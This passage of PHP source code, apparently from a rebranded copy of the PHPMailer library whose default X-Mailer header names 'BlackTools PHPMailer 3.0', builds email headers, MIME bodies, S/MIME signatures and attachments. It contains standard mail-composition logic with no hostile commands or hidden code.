  1810.      * where each recipient is a 2-element indexed array with element 0 containing an address
  1811.      * and element 1 containing a name, like:
  1812.      * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1813.      * @return string
  1814.      */
  1815.     public function addrAppend($type, $addr)
  1816.     {
  1817.         $addresses = array();
  1818.         foreach ($addr as $address) {
  1819.             $addresses[] = $this->addrFormat($address);
  1820.         }
  1821.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1822.     }
  1823.  
  1824.     /**
  1825.      * Format an address for use in a message header.
  1826.      * @access public
  1827.      * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1828.      *      like array('joe@example.com', 'Joe User')
  1829.      * @return string
  1830.      */
  1831.     public function addrFormat($addr)
  1832.     {
  1833.         if (empty($addr[1])) { // No name provided
  1834.             return $this->secureHeader($addr[0]);
  1835.         } else {
  1836.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1837.                 $addr[0]
  1838.             ) . '>';
  1839.         }
  1840.     }
  1841.  
  1842.     /**
  1843.      * Word-wrap message.
  1844.      * For use with mailers that do not automatically perform wrapping
  1845.      * and for quoted-printable encoded messages.
  1846.      * Original written by philippe.
  1847.      * @param string $message The message to wrap
  1848.      * @param integer $length The line length to wrap to
  1849.      * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1850.      * @access public
  1851.      * @return string
  1852.      */
  1853.     public function wrapText($message, $length, $qp_mode = false)
  1854.     {
  1855.         if ($qp_mode) {
  1856.             $soft_break = sprintf(' =%s', $this->LE);
  1857.         } else {
  1858.             $soft_break = $this->LE;
  1859.         }
  1860.         // If utf-8 encoding is used, we will need to make sure we don't
  1861.         // split multibyte characters when we wrap
  1862.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1863.         $lelen = strlen($this->LE);
  1864.         $crlflen = strlen(self::CRLF);
  1865.  
  1866.         $message = $this->fixEOL($message);
  1867.         //Remove a trailing line break
  1868.         if (substr($message, -$lelen) == $this->LE) {
  1869.             $message = substr($message, 0, -$lelen);
  1870.         }
  1871.  
  1872.         //Split message into lines
  1873.         $lines = explode($this->LE, $message);
  1874.         //Message will be rebuilt in here
  1875.         $message = '';
  1876.         foreach ($lines as $line) {
  1877.             $words = explode(' ', $line);
  1878.             $buf = '';
  1879.             $firstword = true;
  1880.             foreach ($words as $word) {
  1881.                 if ($qp_mode and (strlen($word) > $length)) {
  1882.                     $space_left = $length - strlen($buf) - $crlflen;
  1883.                     if (!$firstword) {
  1884.                         if ($space_left > 20) {
  1885.                             $len = $space_left;
  1886.                             if ($is_utf8) {
  1887.                                 $len = $this->utf8CharBoundary($word, $len);
  1888.                             } elseif (substr($word, $len - 1, 1) == '=') {
  1889.                                 $len--;
  1890.                             } elseif (substr($word, $len - 2, 1) == '=') {
  1891.                                 $len -= 2;
  1892.                             }
  1893.                             $part = substr($word, 0, $len);
  1894.                             $word = substr($word, $len);
  1895.                             $buf .= ' ' . $part;
  1896.                             $message .= $buf . sprintf('=%s', self::CRLF);
  1897.                         } else {
  1898.                             $message .= $buf . $soft_break;
  1899.                         }
  1900.                         $buf = '';
  1901.                     }
  1902.                     while (strlen($word) > 0) {
  1903.                         if ($length <= 0) {
  1904.                             break;
  1905.                         }
  1906.                         $len = $length;
  1907.                         if ($is_utf8) {
  1908.                             $len = $this->utf8CharBoundary($word, $len);
  1909.                         } elseif (substr($word, $len - 1, 1) == '=') {
  1910.                             $len--;
  1911.                         } elseif (substr($word, $len - 2, 1) == '=') {
  1912.                             $len -= 2;
  1913.                         }
  1914.                         $part = substr($word, 0, $len);
  1915.                         $word = substr($word, $len);
  1916.  
  1917.                         if (strlen($word) > 0) {
  1918.                             $message .= $part . sprintf('=%s', self::CRLF);
  1919.                         } else {
  1920.                             $buf = $part;
  1921.                         }
  1922.                     }
  1923.                 } else {
  1924.                     $buf_o = $buf;
  1925.                     if (!$firstword) {
  1926.                         $buf .= ' ';
  1927.                     }
  1928.                     $buf .= $word;
  1929.  
  1930.                     if (strlen($buf) > $length and $buf_o != '') {
  1931.                         $message .= $buf_o . $soft_break;
  1932.                         $buf = $word;
  1933.                     }
  1934.                 }
  1935.                 $firstword = false;
  1936.             }
  1937.             $message .= $buf . self::CRLF;
  1938.         }
  1939.  
  1940.         return $message;
  1941.     }
  1942.  
  1943.     /**
  1944.      * Find the last character boundary prior to $maxLength in a utf-8
  1945.      * quoted-printable encoded string.
  1946.      * Original written by Colin Brown.
  1947.      * @access public
  1948.      * @param string $encodedText utf-8 QP text
  1949.      * @param integer $maxLength Find the last character boundary prior to this length
  1950.      * @return integer
  1951.      */
  1952.     public function utf8CharBoundary($encodedText, $maxLength)
  1953.     {
  1954.         $foundSplitPos = false;
  1955.         $lookBack = 3;
  1956.         while (!$foundSplitPos) {
  1957.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1958.             $encodedCharPos = strpos($lastChunk, '=');
  1959.             if (false !== $encodedCharPos) {
  1960.                 // Found start of encoded character byte within $lookBack block.
  1961.                 // Check the encoded byte value (the 2 chars after the '=')
  1962.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1963.                 $dec = hexdec($hex);
  1964.                 if ($dec < 128) {
  1965.                     // Single byte character.
  1966.                     // If the encoded char was found at pos 0, it will fit
  1967.                     // otherwise reduce maxLength to start of the encoded char
  1968.                     if ($encodedCharPos > 0) {
  1969.                         $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1970.                     }
  1971.                     $foundSplitPos = true;
  1972.                 } elseif ($dec >= 192) {
  1973.                     // First byte of a multi byte character
  1974.                     // Reduce maxLength to split at start of character
  1975.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1976.                     $foundSplitPos = true;
  1977.                 } elseif ($dec < 192) {
  1978.                     // Middle byte of a multi byte character, look further back
  1979.                     $lookBack += 3;
  1980.                 }
  1981.             } else {
  1982.                 // No encoded character found
  1983.                 $foundSplitPos = true;
  1984.             }
  1985.         }
  1986.         return $maxLength;
  1987.     }
  1988.  
  1989.     /**
  1990.      * Apply word wrapping to the message body.
  1991.      * Wraps the message body to the number of chars set in the WordWrap property.
  1992.      * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1993.      * This is called automatically by createBody(), so you don't need to call it yourself.
  1994.      * @access public
  1995.      * @return void
  1996.      */
  1997.     public function setWordWrap()
  1998.     {
  1999.         if ($this->WordWrap < 1) {
  2000.             return;
  2001.         }
  2002.  
  2003.         switch ($this->message_type) {
  2004.             case 'alt':
  2005.             case 'alt_inline':
  2006.             case 'alt_attach':
  2007.             case 'alt_inline_attach':
  2008.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  2009.                 break;
  2010.             default:
  2011.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  2012.                 break;
  2013.         }
  2014.     }
  2015.  
  2016.     /**
  2017.      * Assemble message headers.
  2018.      * @access public
  2019.      * @return string The assembled headers
  2020.      */
  2021.     public function createHeader()
  2022.     {
  2023.         $result = '';
  2024.  
  2025.         if ($this->MessageDate == '') {
  2026.             $this->MessageDate = self::rfcDate();
  2027.         }
  2028.         $result .= $this->headerLine('Date', $this->MessageDate);
  2029.  
  2030.         // To be created automatically by mail()
  2031.         if ($this->SingleTo) {
  2032.             if ($this->Mailer != 'mail') {
  2033.                 foreach ($this->to as $toaddr) {
  2034.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  2035.                 }
  2036.             }
  2037.         } else {
  2038.             if (count($this->to) > 0) {
  2039.                 if ($this->Mailer != 'mail') {
  2040.                     $result .= $this->addrAppend('To', $this->to);
  2041.                 }
  2042.             } elseif (count($this->cc) == 0) {
  2043.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2044.             }
  2045.         }
  2046.  
  2047.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2048.  
  2049.         // sendmail and mail() extract Cc from the header before sending
  2050.         if (count($this->cc) > 0) {
  2051.             $result .= $this->addrAppend('Cc', $this->cc);
  2052.         }
  2053.  
  2054.         // sendmail and mail() extract Bcc from the header before sending
  2055.         if ((
  2056.                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2057.             )
  2058.             and count($this->bcc) > 0
  2059.         ) {
  2060.             $result .= $this->addrAppend('Bcc', $this->bcc);
  2061.         }
  2062.  
  2063.         if (count($this->ReplyTo) > 0) {
  2064.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2065.         }
  2066.  
  2067.         // mail() sets the subject itself
  2068.         if ($this->Mailer != 'mail') {
  2069.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2070.         }
  2071.  
  2072.         if ($this->MessageID != '') {
  2073.             $this->lastMessageID = $this->MessageID;
  2074.         } else {
  2075.             $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  2076.         }
  2077.         $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2078.         if (!is_null($this->Priority)) {
  2079.             $result .= $this->headerLine('X-Priority', $this->Priority);
  2080.         }
  2081.         if ($this->XMailer == '') {
  2082.             $result .= $this->headerLine(
  2083.                 'X-Mailer',
  2084.                 'BlackTools PHPMailer 3.0 (blacktools.io)'
  2085.             );
  2086.         } else {
  2087.             $myXmailer = trim($this->XMailer);
  2088.             if ($myXmailer) {
  2089.                 $result .= $this->headerLine('X-Mailer', $myXmailer);
  2090.             }
  2091.         }
  2092.  
  2093.         if ($this->ConfirmReadingTo != '') {
  2094.             $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  2095.         }
  2096.  
  2097.         // Add custom headers
  2098.         foreach ($this->CustomHeader as $header) {
  2099.             $result .= $this->headerLine(
  2100.                 trim($header[0]),
  2101.                 $this->encodeHeader(trim($header[1]))
  2102.             );
  2103.         }
  2104.         if (!$this->sign_key_file) {
  2105.             $result .= $this->headerLine('MIME-Version', '1.0');
  2106.             $result .= $this->getMailMIME();
  2107.         }
  2108.  
  2109.         return $result;
  2110.     }
  2111.  
  2112.     /**
  2113.      * Get the message MIME type headers.
  2114.      * @access public
  2115.      * @return string
  2116.      */
  2117.     public function getMailMIME()
  2118.     {
  2119.         $result = '';
  2120.         $ismultipart = true;
  2121.         switch ($this->message_type) {
  2122.             case 'inline':
  2123.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2124.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2125.                 break;
  2126.             case 'attach':
  2127.             case 'inline_attach':
  2128.             case 'alt_attach':
  2129.             case 'alt_inline_attach':
  2130.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2131.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2132.                 break;
  2133.             case 'alt':
  2134.             case 'alt_inline':
  2135.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2136.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2137.                 break;
  2138.             default:
  2139.                 // Catches case 'plain': and case '':
  2140.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  2141.                 $ismultipart = false;
  2142.                 break;
  2143.         }
  2144.         // RFC1341 part 5 says 7bit is assumed if not specified
  2145.         if ($this->Encoding != '7bit') {
  2146.             // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2147.             if ($ismultipart) {
  2148.                 if ($this->Encoding == '8bit') {
  2149.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2150.                 }
  2151.                 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2152.             } else {
  2153.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2154.             }
  2155.         }
  2156.  
  2157.         if ($this->Mailer != 'mail') {
  2158.             $result .= $this->LE;
  2159.         }
  2160.  
  2161.         return $result;
  2162.     }
  2163.  
  2164.     /**
  2165.      * Returns the whole MIME message.
  2166.      * Includes complete headers and body.
  2167.      * Only valid post preSend().
  2168.      * @see PHPMailer::preSend()
  2169.      * @access public
  2170.      * @return string
  2171.      */
  2172.     public function getSentMIMEMessage()
  2173.     {
  2174.         return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  2175.     }
  2176.  
  2177.     /**
  2178.      * Assemble the message body.
  2179.      * Returns an empty string on failure.
  2180.      * @access public
  2181.      * @throws phpmailerException
  2182.      * @return string The assembled message body
  2183.      */
  2184.     public function createBody()
  2185.     {
  2186.         $body = '';
  2187.         //Create unique IDs and preset boundaries
  2188.         $this->uniqueid = md5(uniqid(time()));
  2189.         $this->boundary[1] = 'b1_' . $this->uniqueid;
  2190.         $this->boundary[2] = 'b2_' . $this->uniqueid;
  2191.         $this->boundary[3] = 'b3_' . $this->uniqueid;
  2192.  
  2193.         if ($this->sign_key_file) {
  2194.             $body .= $this->getMailMIME() . $this->LE;
  2195.         }
  2196.  
  2197.         $this->setWordWrap();
  2198.  
  2199.         $bodyEncoding = $this->Encoding;
  2200.         $bodyCharSet = $this->CharSet;
  2201.         //Can we do a 7-bit downgrade?
  2202.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  2203.             $bodyEncoding = '7bit';
  2204.             $bodyCharSet = 'us-ascii';
  2205.         }
  2206.         //If lines are too long, and we're not already using an encoding that will shorten them,
  2207.         //change to quoted-printable transfer encoding
  2208.         if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  2209.             $this->Encoding = 'quoted-printable';
  2210.             $bodyEncoding = 'quoted-printable';
  2211.         }
  2212.  
  2213.         $altBodyEncoding = $this->Encoding;
  2214.         $altBodyCharSet = $this->CharSet;
  2215.         //Can we do a 7-bit downgrade?
  2216.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  2217.             $altBodyEncoding = '7bit';
  2218.             $altBodyCharSet = 'us-ascii';
  2219.         }
  2220.         //If lines are too long, and we're not already using an encoding that will shorten them,
  2221.         //change to quoted-printable transfer encoding
  2222.         if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  2223.             $altBodyEncoding = 'quoted-printable';
  2224.         }
  2225.         //Use this as a preamble in all multipart message types
  2226.         $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  2227.         switch ($this->message_type) {
  2228.             case 'inline':
  2229.                 $body .= $mimepre;
  2230.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2231.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2232.                 $body .= $this->LE . $this->LE;
  2233.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  2234.                 break;
  2235.             case 'attach':
  2236.                 $body .= $mimepre;
  2237.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2238.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2239.                 $body .= $this->LE . $this->LE;
  2240.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2241.                 break;
  2242.             case 'inline_attach':
  2243.                 $body .= $mimepre;
  2244.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2245.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2246.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2247.                 $body .= $this->LE;
  2248.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  2249.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2250.                 $body .= $this->LE . $this->LE;
  2251.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  2252.                 $body .= $this->LE;
  2253.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2254.                 break;
  2255.             case 'alt':
  2256.                 $body .= $mimepre;
  2257.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2258.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2259.                 $body .= $this->LE . $this->LE;
  2260.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  2261.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2262.                 $body .= $this->LE . $this->LE;
  2263.                 if (!empty($this->Ical)) {
  2264.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  2265.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  2266.                     $body .= $this->LE . $this->LE;
  2267.                 }
  2268.                 $body .= $this->endBoundary($this->boundary[1]);
  2269.                 break;
  2270.             case 'alt_inline':
  2271.                 $body .= $mimepre;
  2272.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2273.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2274.                 $body .= $this->LE . $this->LE;
  2275.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2276.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2277.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2278.                 $body .= $this->LE;
  2279.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2280.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2281.                 $body .= $this->LE . $this->LE;
  2282.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  2283.                 $body .= $this->LE;
  2284.                 $body .= $this->endBoundary($this->boundary[1]);
  2285.                 break;
  2286.             case 'alt_attach':
  2287.                 $body .= $mimepre;
  2288.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2289.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2290.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2291.                 $body .= $this->LE;
  2292.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2293.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2294.                 $body .= $this->LE . $this->LE;
  2295.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2296.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2297.                 $body .= $this->LE . $this->LE;
  2298.                 $body .= $this->endBoundary($this->boundary[2]);
  2299.                 $body .= $this->LE;
  2300.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2301.                 break;
  2302.             case 'alt_inline_attach':
  2303.                 $body .= $mimepre;
  2304.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2305.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2306.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2307.                 $body .= $this->LE;
  2308.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2309.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2310.                 $body .= $this->LE . $this->LE;
  2311.                 $body .= $this->textLine('--' . $this->boundary[2]);
  2312.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2313.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  2314.                 $body .= $this->LE;
  2315.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2316.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2317.                 $body .= $this->LE . $this->LE;
  2318.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  2319.                 $body .= $this->LE;
  2320.                 $body .= $this->endBoundary($this->boundary[2]);
  2321.                 $body .= $this->LE;
  2322.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2323.                 break;
  2324.             default:
  2325.                 // catch case 'plain' and case ''
  2326.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2327.                 break;
  2328.         }
  2329.  
  2330.         if ($this->isError()) {
  2331.             $body = '';
  2332.         } elseif ($this->sign_key_file) {
  2333.             try {
  2334.                 if (!defined('PKCS7_TEXT')) {
  2335.                     throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2336.                 }
  2337.                 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2338.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  2339.                 if (false === file_put_contents($file, $body)) {
  2340.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2341.                 }
  2342.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  2343.                 //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2344.                 if (empty($this->sign_extracerts_file)) {
  2345.                     $sign = @openssl_pkcs7_sign(
  2346.                         $file,
  2347.                         $signed,
  2348.                         'file://' . realpath($this->sign_cert_file),
  2349.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2350.                         null
  2351.                     );
  2352.                 } else {
  2353.                     $sign = @openssl_pkcs7_sign(
  2354.                         $file,
  2355.                         $signed,
  2356.                         'file://' . realpath($this->sign_cert_file),
  2357.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2358.                         null,
  2359.                         PKCS7_DETACHED,
  2360.                         $this->sign_extracerts_file
  2361.                     );
  2362.                 }
  2363.                 if ($sign) {
  2364.                     @unlink($file);
  2365.                     $body = file_get_contents($signed);
  2366.                     @unlink($signed);
  2367.                     //The message returned by openssl contains both headers and body, so need to split them up
  2368.                     $parts = explode("\n\n", $body, 2);
  2369.                     $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  2370.                     $body = $parts[1];
  2371.                 } else {
  2372.                     @unlink($file);
  2373.                     @unlink($signed);
  2374.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2375.                 }
  2376.             } catch (phpmailerException $exc) {
  2377.                 $body = '';
  2378.                 if ($this->exceptions) {
  2379.                     throw $exc;
  2380.                 }
  2381.             }
  2382.         }
  2383.         return $body;
  2384.     }
  2385.  
  2386.     /**
  2387.      * Return the start of a message boundary.
  2388.      * @access protected
  2389.      * @param string $boundary
  2390.      * @param string $charSet
  2391.      * @param string $contentType
  2392.      * @param string $encoding
  2393.      * @return string
  2394.      */
  2395.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  2396.     {
  2397.         $result = '';
  2398.         if ($charSet == '') {
  2399.             $charSet = $this->CharSet;
  2400.         }
  2401.         if ($contentType == '') {
  2402.             $contentType = $this->ContentType;
  2403.         }
  2404.         if ($encoding == '') {
  2405.             $encoding = $this->Encoding;
  2406.         }
  2407.         $result .= $this->textLine('--' . $boundary);
  2408.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2409.         $result .= $this->LE;
  2410.         // RFC1341 part 5 says 7bit is assumed if not specified
  2411.         if ($encoding != '7bit') {
  2412.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2413.         }
  2414.         $result .= $this->LE;
  2415.  
  2416.         return $result;
  2417.     }
  2418.  
  2419.     /**
  2420.      * Return the end of a message boundary.
  2421.      * @access protected
  2422.      * @param string $boundary
  2423.      * @return string
  2424.      */
  2425.     protected function endBoundary($boundary)
  2426.     {
  2427.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  2428.     }
  2429.  
  2430.     /**
  2431.      * Set the message type.
  2432.      * PHPMailer only supports some preset message types,
  2433.      * not arbitrary MIME structures.
  2434.      * @access protected
  2435.      * @return void
  2436.      */
  2437.     protected function setMessageType()
  2438.     {
  2439.         $type = array();
  2440.         if ($this->alternativeExists()) {
  2441.             $type[] = 'alt';
  2442.         }
  2443.         if ($this->inlineImageExists()) {
  2444.             $type[] = 'inline';
  2445.         }
  2446.         if ($this->attachmentExists()) {
  2447.             $type[] = 'attach';
  2448.         }
  2449.         $this->message_type = implode('_', $type);
  2450.         if ($this->message_type == '') {
  2451.             $this->message_type = 'plain';
  2452.         }
  2453.     }
  2454.  
  2455.     /**
  2456.      * Format a header line.
  2457.      * @access public
  2458.      * @param string $name
  2459.      * @param string $value
  2460.      * @return string
  2461.      */
  2462.     public function headerLine($name, $value)
  2463.     {
  2464.         return $name . ': ' . $value . $this->LE;
  2465.     }
  2466.  
  2467.     /**
  2468.      * Return a formatted mail line.
  2469.      * @access public
  2470.      * @param string $value
  2471.      * @return string
  2472.      */
  2473.     public function textLine($value)
  2474.     {
  2475.         return $value . $this->LE;
  2476.     }
  2477.  
  2478.     /**
  2479.      * Add an attachment from a path on the filesystem.
  2480.      * Returns false if the file could not be found or read.
  2481.      * @param string $path Path to the attachment.
  2482.      * @param string $name Overrides the attachment name.
  2483.      * @param string $encoding File encoding (see $Encoding).
  2484.      * @param string $type File extension (MIME) type.
  2485.      * @param string $disposition Disposition to use
  2486.      * @throws phpmailerException
  2487.      * @return boolean
  2488.      */
  2489.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  2490.     {
  2491.         try {
  2492.             if (!@is_file($path)) {
  2493.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2494.             }
  2495.  
  2496.             // If a MIME type is not specified, try to work it out from the file name
  2497.             if ($type == '') {
  2498.                 $type = self::filenameToType($path);
  2499.             }
  2500.  
  2501.             $filename = basename($path);
  2502.             if ($name == '') {
  2503.                 $name = $filename;
  2504.             }
  2505.  
  2506.             $this->attachment[] = array(
  2507.                 0 => $path,
  2508.                 1 => $filename,
  2509.                 2 => $name,
  2510.                 3 => $encoding,
  2511.                 4 => $type,
  2512.                 5 => false, // isStringAttachment
  2513.                 6 => $disposition,
  2514.                 7 => 0
  2515.             );
  2516.  
  2517.         } catch (phpmailerException $exc) {
  2518.             $this->setError($exc->getMessage());
  2519.             $this->edebug($exc->getMessage());
  2520.             if ($this->exceptions) {
  2521.                 throw $exc;
  2522.             }
  2523.             return false;
  2524.         }
  2525.         return true;
  2526.     }
  2527.  
  2528.     /**
  2529.      * Return the array of attachments.
  2530.      * @return array
  2531.      */
  2532.     public function getAttachments()
  2533.     {
  2534.         return $this->attachment;
  2535.     }
  2536.  
  2537.     /**
  2538.      * Attach all file, string, and binary attachments to the message.
  2539.      * Returns an empty string on failure.
  2540.      * @access protected
  2541.      * @param string $disposition_type
  2542.      * @param string $boundary
  2543.      * @return string
  2544.      */
  2545.     protected function attachAll($disposition_type, $boundary)
  2546.     {
  2547.         // Return text of body
  2548.         $mime = array();
  2549.         $cidUniq = array();
  2550.         $incl = array();
  2551.  
  2552.         // Add all attachments
  2553.         foreach ($this->attachment as $attachment) {
  2554.             // Check if it is a valid disposition_filter
  2555.             if ($attachment[6] == $disposition_type) {
  2556.                 // Check for string attachment
  2557.                 $string = '';
  2558.                 $path = '';
  2559.                 $bString = $attachment[5];
  2560.                 if ($bString) {
  2561.                     $string = $attachment[0];
  2562.                 } else {
  2563.                     $path = $attachment[0];
  2564.                 }
  2565.  
  2566.                 $inclhash = md5(serialize($attachment));
  2567.                 if (in_array($inclhash, $incl)) {
  2568.                     continue;
  2569.                 }
  2570.                 $incl[] = $inclhash;
  2571.                 $name = $attachment[2];
  2572.                 $encoding = $attachment[3];
  2573.                 $type = $attachment[4];
  2574.                 $disposition = $attachment[6];
  2575.                 $cid = $attachment[7];
  2576.                 if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2577.                     continue;
  2578.                 }
  2579.                 $cidUniq[$cid] = true;
  2580.  
  2581.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2582.                 //Only include a filename property if we have one
  2583.                 if (!empty($name)) {
  2584.                     $mime[] = sprintf(
  2585.                         'Content-Type: %s; name="%s"%s',
  2586.                         $type,
  2587.                         $this->encodeHeader($this->secureHeader($name)),
  2588.                         $this->LE
  2589.                     );
  2590.                 } else {
  2591.                     $mime[] = sprintf(
  2592.                         'Content-Type: %s%s',
  2593.                         $type,
  2594.                         $this->LE
  2595.                     );
  2596.                 }
  2597.                 // RFC1341 part 5 says 7bit is assumed if not specified
  2598.                 if ($encoding != '7bit') {
  2599.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2600.                 }
  2601.  
  2602.                 if ($disposition == 'inline') {
  2603.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2604.                 }
  2605.  
  2606.                 // If a filename contains any of these chars, it should be quoted,
  2607.                 // but not otherwise: RFC2183 & RFC2045 5.1
  2608.                 // Fixes a warning in IETF's msglint MIME checker
  2609.                 // Allow for bypassing the Content-Disposition header totally
  2610.                 if (!(empty($disposition))) {
  2611.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2612.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2613.                         $mime[] = sprintf(
  2614.                             'Content-Disposition: %s; filename="%s"%s',
  2615.                             $disposition,
  2616.                             $encoded_name,
  2617.                             $this->LE . $this->LE
  2618.                         );
  2619.                     } else {
  2620.                         if (!empty($encoded_name)) {
  2621.                             $mime[] = sprintf(
  2622.                                 'Content-Disposition: %s; filename=%s%s',
  2623.                                 $disposition,
  2624.                                 $encoded_name,
  2625.                                 $this->LE . $this->LE
  2626.                             );
  2627.                         } else {
  2628.                             $mime[] = sprintf(
  2629.                                 'Content-Disposition: %s%s',
  2630.                                 $disposition,
  2631.                                 $this->LE . $this->LE
  2632.                             );
  2633.                         }
  2634.                     }
  2635.                 } else {
  2636.                     $mime[] = $this->LE;
  2637.                 }
  2638.  
  2639.                 // Encode as string attachment
  2640.                 if ($bString) {
  2641.                     $mime[] = $this->encodeString($string, $encoding);
  2642.                     if ($this->isError()) {
  2643.                         return '';
  2644.                     }
  2645.                     $mime[] = $this->LE . $this->LE;
